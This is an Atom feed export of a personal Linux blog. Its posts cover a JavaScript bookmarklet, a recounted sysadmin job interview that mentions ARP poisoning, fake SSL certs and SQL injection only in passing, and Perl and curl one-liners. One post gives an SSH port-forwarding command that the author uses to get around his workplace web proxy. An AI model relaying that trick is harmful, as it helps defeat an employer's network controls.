/&gt;&lt;pre&gt;javascript: document.write(document.childNodes[1].innerHTML.replace(new RegExp(/Christian Business/gi), "scams").replace(new RegExp(/Christian Business/gi), "scams"))&lt;/pre&gt;&lt;br /&gt;To test this you could go here: &lt;a href="http://www.google.com/search?hl=en&amp;q=%22Christian+Business%22&amp;aq=f&amp;aqi=g10&amp;aql=&amp;oq="&gt;http://www.google.com/search?hl=en&amp;q=%22Christian+Business%22&amp;aq=f&amp;aqi=g10&amp;aql=&amp;oq=&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And then just paste said javascript into the browser bar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7796154902298082934?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7796154902298082934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7796154902298082934' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7796154902298082934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7796154902298082934'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/03/using-javascript-in-address-bar.html' title='Using Javascript in the address bar'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4499103647370685054</id><published>2011-03-30T08:08:00.000-07:00</published><updated>2011-03-30T08:21:46.958-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='technical'/><category scheme='http://www.blogger.com/atom/ns#' term='interview'/><category scheme='http://www.blogger.com/atom/ns#' term='dumb'/><category scheme='http://www.blogger.com/atom/ns#' term='arp'/><category scheme='http://www.blogger.com/atom/ns#' term='questions'/><title type='text'>The questions and the aftermath</title><content type='html'>&lt;p&gt;After the interview that changed me from believing I was masterful wizard of the cli, into realizing I was more like Schmendrick before he met the &lt;a href="http://www.imdb.com/title/tt0084237/"&gt; Unicorn&lt;/a&gt;. I thought I would share some of the questions, and what I've been doing to improve my knowledge. This isn't a comprehensive list of all the questions as the interview is mostly a blur, as mentioned before I usually knock technical interviews down like dominos. This one I didn't and I can only blame my soft knowledge of linux, which I greatly exaggerated in my own mind. For the sake of brevity, and sort of for accuracy as well, when I got one right he seemed to nod, and write the extent to which I felt the mastered the question down, so I'll say nod for those, and for the ones I got wrong, he just put a tick mark next to that.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Preliminary non Technical Questions&lt;/h2&gt;&lt;br /&gt;Can you pass a drug test?&lt;br /&gt;&lt;br /&gt;Yes.&lt;br /&gt;&lt;br /&gt;Are you sure?&lt;br /&gt;&lt;br /&gt;Yes.&lt;br /&gt;&lt;br /&gt;It's a hair test.&lt;br /&gt;&lt;br /&gt;I nodded.&lt;br /&gt;&lt;br /&gt;THEY WILL FIND A HAIR.(I'd like to note he did in fact raise his voice)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;I'd like to note that during the interview I was pretty "clean" looking. I had shaved, cut my hair, was wearing a shirt and tie, however any other given day perhaps this question would require more than one pass, as I do usually sport long hair and neck beard, wear t-shirts, and generally look of malaise. He could have been reading my body language or he could have just not wanted to deal with a 2 hour technical interview that day, or with someone who wasn't going to pass anyway. I don't know.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;He asked if I could pass a credit check.&lt;br /&gt;&lt;br /&gt;Yes.&lt;br /&gt;He asked if I could pass a background check. &lt;br /&gt;&lt;br /&gt;Yes&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;The Technical Terror Interview&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Like I said these are the questions I remember, as close to the order I remember. The interview was two hours, so obviously quite a few are missing. Also I started by adding that some of the facts on my interview were padded or inaccurate, because my recruiter had rewritten it. I went over these with him so that if necessary we could cancel the interview. However, he didn't seem to mind the areas I was weak in.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Have you ever compiled the linux kernel?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I have it's been longer than 5 years ago, it was for a driver issue or something like that, if I remember correctly. It's been a long time.&lt;br /&gt;&lt;br /&gt;nod&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What are the tools required to compile the linux kernel?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Like I said it's been a long time, I don't really remember, I'm sure gcc is involved at some point.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;tick&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Describe the linux boot process after it is handed over from the bios&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: Panic set in, I lost my shit, why didn't I know this, I know I should know this.&lt;br /&gt;&lt;br /&gt;So I hate to admit this but I don't know,if I had to guess it would go to the boot manager, then probably the kernel, then the kernel modules then kudzu at some point maybe.*sigh*&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;tick&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is probably where the gaps start but I regain conciseness somewhere about 30 minutes-ish later, I know I said something about apache during this time period that seemed to tickle his fancy, but that's about all the good that thirty minutes had&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;What editor do you use?....Oh well of course I know what you use.&lt;br /&gt;&lt;br /&gt;Vim?&lt;br /&gt;&lt;br /&gt;I'm guessing it's the only real editor to you?&lt;br /&gt;&lt;br /&gt;Well it's my favorite, but I have respect for my emacs brethren&lt;br /&gt;&lt;br /&gt;At this point, a calm in the storm, we had an editor conversation where we both seemed to agree on a lot of it. Mostly it was about how to teach those new to vim how to use it. We also did a little nano slamming.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;What is a zombie process?&lt;br /&gt;&lt;br /&gt;A process that has lost communication with it's parent and probably needs to be killed.&lt;br /&gt;&lt;br /&gt;Half Tick, Half Nod, slight writing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;He explained that the parent process to had died and he asked me how to kill it.&lt;br /&gt;&lt;br /&gt;Probably a kill -9.&lt;br /&gt;&lt;br /&gt; Hmmm...&lt;br /&gt;&lt;br /&gt;tick&lt;br /&gt;&lt;br /&gt;Just a kill or kill -4&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Do you know the difference between kill -9 and kill&lt;br /&gt;&lt;br /&gt;I believe a kill -9 is forcing a program to close and a kill is more like asking the program to close&lt;br /&gt;&lt;br /&gt;Not sure if I got a tick or a nine&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I feel quite defeated at this point.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Can you name any other signals?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;no&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br \&gt;&lt;br /&gt;Can you tell me about the runlevels&lt;br /&gt;&lt;br \&gt;&lt;br /&gt;Not a whole lot I know there was for halt.(I do know more about the runlevels but at this point my brain was on a tactical retreat, and if the doors didn't have retinal scanners I would have run from the building like a little girl....ok ok the retinal scanners were only to get into the room, it was the social contract that kept me there.)&lt;br /&gt;&lt;br /&gt;tick&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Another black out.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What is cross site scripting?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I was defeated, I was non caring. I answered with the enthusiasm of a mental patient on so much thorazine, his drool would drool.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I don't know, javascript, steal cookies something.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;It seemed that seeing my interested fade, had somewhat diminished the perverse pleasure he may have been taking in the interview. The questions got a little stranger.&lt;br/&gt;&lt;br /&gt;What's the farthest you could get in a MySQL injection attack?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I start pontificating on UNIONS and LIKE's and REGEXP's and he knew he had me back in the game.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;No tick or nod, I don't think this was on his questions sheet&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Do you know what ARP poisoning is?&lt;br /&gt;&lt;br /&gt;Boy Howdy, I answered this with aces, explaining the arp protocol, and what programs to use to do this. How to do this on linux, windows, or how to write something in perl that would accomplish the task. Then I told him how you could even fake an ssl cert.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This peaked his interest. He said "But wouldn't there be a nag screen saying the cert wasn't valid. Certainly I wouldn't log into my bank if such a screen popped up"&lt;br /&gt;&lt;br /&gt; "Neither would I, but would she" I pointed to the secretary that was several glass walls between us.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOD.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;He started a network question: If I had a subnet mask of 240...&lt;br /&gt;&lt;br /&gt;Before he finished I said "16 hosts, 16 networks"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nod&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We talked about VLSM for several minutes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We got into an argument about UDP, I had this half thought out theory about offloading the handshake to the processor to conserve bandwidth(yes I realize I was wrong now, and did admit it in the interview). It was terrible, I argued with an interviewer with a half baked theory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;He congratulated me on knowing a lot about networking anyway, and said a lot of linux admins were weak in that area.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Name three ways to restart a linux box?&lt;br /&gt;&lt;br /&gt;Again I had lost interest. "Umm, shutdown -r now, and probably one of the runlevels"&lt;br /&gt;&lt;br /&gt;I can tell you started using linux a long time ago, most newer guys don't know shutdown -r.&lt;br /&gt;&lt;br /&gt;This was his final and what I considered second compliment.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;He asked me if I had any questions. I said I felt dumb. He said "Sometimes an interview is just to let you know, you aren't qualified for the job."&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;What am I doing about?&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Well I purchased Linux Kernal in A Nutshell for the kindle app on my android and I've been reading it. I'm going to try and complete a &lt;a href="http://www.linuxfromscratch.org/"&gt;http://www.linuxfromscratch.org/&lt;/a&gt; tutorial this weekend. I have bookmarked a webpage that is the equivelent of man page for linux signals, and the wiki page for run levels of linux. I took this interview because my contract was running out on a web programming job(perl, but in a windows enviroment). I'm also going to get more organized and focused on what I need to be learning.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt; I'm also not going through recruiters unless I must. Unless it's this guy, &lt;a href="http://theantipimp.com/"&gt; The Antipimp&lt;/a&gt; , he's a friend and trustworthy. I've since learned my current recruiter(not the one that set me up on my interview/lied on my resume), is making around .7 what I make on every hour. So for the sake of arguement and easy math(ie these numbers are false), if I'm making 30 dollars every hour, my recruiter is making 18 every hour.*&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;So that's where I'm at. If you have suggestions on what to learn/read/do, please let me know.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;* I just redid the math and it's actually closer to .8.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4499103647370685054?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4499103647370685054/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4499103647370685054' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4499103647370685054'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4499103647370685054'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/03/questions-and-aftermath.html' title='The questions and the aftermath'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4031269977628013767</id><published>2011-03-29T22:07:00.000-07:00</published><updated>2011-03-30T08:25:28.202-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='humiliated'/><category scheme='http://www.blogger.com/atom/ns#' term='broken'/><category scheme='http://www.blogger.com/atom/ns#' term='skillset'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='interview from hell'/><title type='text'>The Linux Job Interview from hell.</title><content type='html'>*I've been an (very) amateur linux enthusiast since 1999 and a profesional linux admin for 5+ years*&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;**Hi Redditors and Hacker News people, I got a huge amount of comments on specifics about the interview, like what the questions were, etc, I have since written that information here &lt;a href="http://bsdpunk.blogspot.com/2011/03/questions-and-aftermath.html"&gt;http://bsdpunk.blogspot.com/2011/03/questions-and-aftermath.html&lt;/a&gt; . **&lt;br /&gt;&lt;br /&gt;   &lt;p&gt; So what do you do, when you've been bested? When you have been so wholly destroyed in an interview, it shakes you to your core. When you get about thirty percent of the questions right, and you can't blame anyone but yourself. It was a face to face interview, and when the interviewer saw you struggle, and you were on the right track he helped, in the capacity he could without giving you an answer.&lt;/p&gt;&lt;br /&gt; A two hour face to face interview with only technical questions. No way to ease out of this one, no excuse. "The multiple choices was obscure", "The wording was wrong", "When would I ever need to know that." All those justifications were thrown out the window. It was no use to hold on my pride.&lt;br /&gt; I had my skin ripped off me. I thought I was somebody, I thought I new Linux like the back of my hand. But more importantly I recognized, for the first time in the long time, that I knew very little. I'd like to blame the product of my environment. That for the past 6 or so months, I've had no coworkers, or friends in the field, to truly talk to, or compare notes. Only the occasionally tweet exchange with strangers. Or that I've been working in a windows environment for about the same amount of time. But this isn't the fault, this isn't why, it was my arrogance.&lt;br /&gt; &lt;p&gt;I've always done well in interviews, all types of interviews, but when it comes to tech interviews, they've always been like candy from a baby. Not this one. So I am going to lay some things down for you.&lt;/p&gt;&lt;br /&gt; &lt;p&gt;What did I do wrong? To start with, which is only the beginning. I didn't review the basics, you know stuff you learned in school, or just dicking around with Linux. So simple questions about the kernel boot process, stuff I hadn't though about in a while, because I was used to just booting machines in the cloud and setting them up with automated scripts I wrote, hadn't thought about the boot process in a while. Stuff like runlevels and signals, I know what they are, I know how to Google them, but I don't have exact memories, I know kill -9 is force and normal kill and ctrl-d are ask the program to quit....can I explain it more technical than that, apparently not.&lt;/p&gt;&lt;br /&gt; &lt;p&gt;I missed questions I knew but forgot the answers to, like the difference between asymmetric and symmetric encryption. I just forgot the terminology, cause I didn't even glance at a book; I had this thing in the bag I thought. If he would have asked me to describe PKI, I would have pwned that question like Charlie Miller, chowns a mac. But he didn't, I was lost.&lt;/p&gt;&lt;br /&gt; &lt;p&gt;I missed questions I didn't know the answers to, and had thought were irrelevant....until he explained the answers to me.&lt;br /&gt; I even asked him to ask me questions on things I thought I knew, like rsync, and was humiliated worse than Ben Stiller in any of his movies. After being grilled on why I would use the v, I knew it was over.&lt;/p&gt;&lt;br /&gt; &lt;p&gt;After all this frustration, I had the audacity to get in an argument about UDP which I hadn't fully thought out, and of course my argument was crushed, and ultimately wrong to begin with. (I assure you at this point I had already crashed and burned so hard this was not a deciding factor in me being hired). &lt;/p&gt;&lt;br /&gt; &lt;p&gt;Did I go in with the wrong attitude? No, I don't think so. I just wasn't technically skilled enough for the position, I had a belief that, I can survive in any position as long as I'm given enough lee way for a couple of weeks so that didn't scare me off.&lt;/p&gt;&lt;br /&gt;&lt;p&gt; I'm going to say 99% of the failure of this interview was my fault, I wasn't skilled enough, and I didn't prepare, as I should. I would like to fault someone else for the other 1%, a recruiter who buffed my resume without my knowledge, sending me in the dragons den with embellished, if not downright false information, with my resume.... rewritten to serve his needs.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'll follow this up with how I am going to remedy my skillset/interview/recruiter policy in the next few days.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;EDIT: Ctrl-D is actually end of file, thanks to the peeps at hacker news. Please keep reporting inaccuracies and I will fix them as they are found.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4031269977628013767?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4031269977628013767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4031269977628013767' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4031269977628013767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4031269977628013767'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/03/linux-job-interview-from-hell.html' title='The Linux Job Interview from hell.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5556266763874181638</id><published>2011-03-09T13:08:00.000-08:00</published><updated>2011-03-09T13:29:48.503-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cat'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='pipe'/><category scheme='http://www.blogger.com/atom/ns#' term='file'/><category scheme='http://www.blogger.com/atom/ns#' term='regex'/><category scheme='http://www.blogger.com/atom/ns#' term='BSD'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='mac'/><category scheme='http://www.blogger.com/atom/ns#' term='cygwin'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Favorite way to regex a file using perl</title><content type='html'>Sometimes you want to do some magic fu on your file, while it's not loaded in a vim buffer. This is what I use with perl. I know there is probably a way to do this with sed, but I couldn't find it quickly enough. Most of the time when I do a search and replace out side of vim I want to replace something that's already in the file, with itself in a different position. For example:&lt;br /&gt;&lt;br /&gt;I want to replace variablewordspace with variablewordtime, so in the file var.txt I have:&lt;br /&gt;&lt;br /&gt;variablewordspace&lt;br /&gt;hammerspace&lt;br /&gt;&lt;br /&gt;So what I would do is:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;cat var.txt | perl -pe 's/(\w+)space/\1time/'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;which would give me the output:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;variablewordtime&lt;br /&gt;hammertime&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For a brief description:&lt;br /&gt;You are display the file var.txt, through the cat command. Then using the pipe (|) you are passing that to perl, with the switches p and e. Switch e allows you to run from the command line without explicitly writing a perl program, while switch p allows you to run a program against every line on standard input, and prints whatever is in $_ after each line. A search and replace using s/// with the search term in the first set of slashes&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;/(\w+)space/&lt;br /&gt;&lt;br /&gt;The parentheses mark that as a group.&lt;br /&gt;&lt;br /&gt;The \w+ means any number of word characters, as where the 'space' just represents the word space.&lt;br /&gt;&lt;br /&gt;In the last set of slashes is what you want to replace it with.&lt;br /&gt;&lt;br /&gt;/\1time/&lt;br /&gt;&lt;br /&gt;\1 represents what is in that first set of parenthesis.&lt;br /&gt;&lt;br /&gt;And time of course, represents the letters 'time'&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5556266763874181638?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5556266763874181638/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5556266763874181638' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5556266763874181638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5556266763874181638'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/03/favorite-way-to-regex-file-using-perl.html' title='Favorite way to regex a file using perl'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4574304653856399474</id><published>2011-01-13T08:25:00.001-08:00</published><updated>2011-01-13T08:29:43.547-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh port forwarding'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='meebo'/><category scheme='http://www.blogger.com/atom/ns#' term='cygwin'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>Simple Stupid Linux Tricks ssh port forwarding</title><content type='html'>At work I'm firewalled in, and I'm on a linux server...however they allow traffic over port 22. So it's really easy to get to meebo. You can do this with most sites, however if they require more than one port you'll need a more complex solution.&lt;br /&gt;&lt;br /&gt;I fire up cygwin and type this in.(You can use any ssh client though)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ssh -L 8888:meebo.com:80 root@wereboobs.com -N&lt;br /&gt;&lt;br /&gt;ssh creates a tunnel from me to wereboobs, which the proxy doesn't care about to meebo which the proxy does(ironic, no?). So now if I type localhost:8888 into my browser I can get to meebo without going through the web proxy. Bonus...the web traffic from meebo is encrypted until it reaches wereboobs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4574304653856399474?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4574304653856399474/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4574304653856399474' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4574304653856399474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4574304653856399474'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/01/simple-stupid-linux-tricks-ssh-port.html' title='Simple Stupid Linux Tricks ssh port forwarding'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-9155951832883230881</id><published>2010-12-16T16:01:00.002-08:00</published><updated>2010-12-16T16:06:41.495-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='curl'/><category scheme='http://www.blogger.com/atom/ns#' term='delicious'/><category scheme='http://www.blogger.com/atom/ns#' term='grep'/><category scheme='http://www.blogger.com/atom/ns#' term='yahoo'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='bookmarks'/><title type='text'>Grab your delicious bookmarks before they're gone</title><content type='html'>Rumors that delicious is being closed by yahoo, made me want to grab my bookmarks, Someone posted this on twitter&lt;br /&gt;&lt;br /&gt;curl https://user:pass@api.del.icio.us/v1/posts/all&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;via :&lt;a href="https://twitter.com/adactio/status/15491709479690240"&gt;adactio&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Which is nice but gives you all that xml gunk.&lt;br /&gt;&lt;br /&gt;This gives you a nice list in a file bookmarks.txt&lt;br /&gt;&lt;br /&gt;curl https://user:pass@api.del.icio.us/v1/posts/all | grep -E -oh 'http:\/\/.*?/"' | grep -E -oh 'http.*?/' &gt; bookmarks.txt&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-9155951832883230881?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/9155951832883230881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=9155951832883230881' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9155951832883230881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9155951832883230881'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/12/grab-your-delicious-bookmarks-before.html' title='Grab your delicious bookmarks before they&apos;re gone'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5453036608927846008</id><published>2010-12-14T14:03:00.000-08:00</published><updated>2010-12-14T14:06:12.558-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='curl'/><category scheme='http://www.blogger.com/atom/ns#' term='arch linux'/><category scheme='http://www.blogger.com/atom/ns#' term='cli'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='xkcd'/><category scheme='http://www.blogger.com/atom/ns#' term='grep'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><category scheme='http://www.blogger.com/atom/ns#' term='regex'/><category scheme='http://www.blogger.com/atom/ns#' term='mac'/><title type='text'>Pull the alt / title tag from xkcd picture from command line</title><content type='html'>How to pull the alt (actually the title tag), from xkcd with the command line&lt;br /&gt;&lt;br /&gt;[root@queerlikerice ~]# curl xkcd.com | grep -E -oh 'title=".* alt=' | grep 'title' | grep -E -oh '".*?"'&lt;br /&gt;  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;                                 Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;100  8375  100  8375    0     0   137k      0 --:--:-- --:--:-- --:--:--  538k&lt;br /&gt;"And if you labeled your axes, I could tell you exactly how MUCH better."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bash 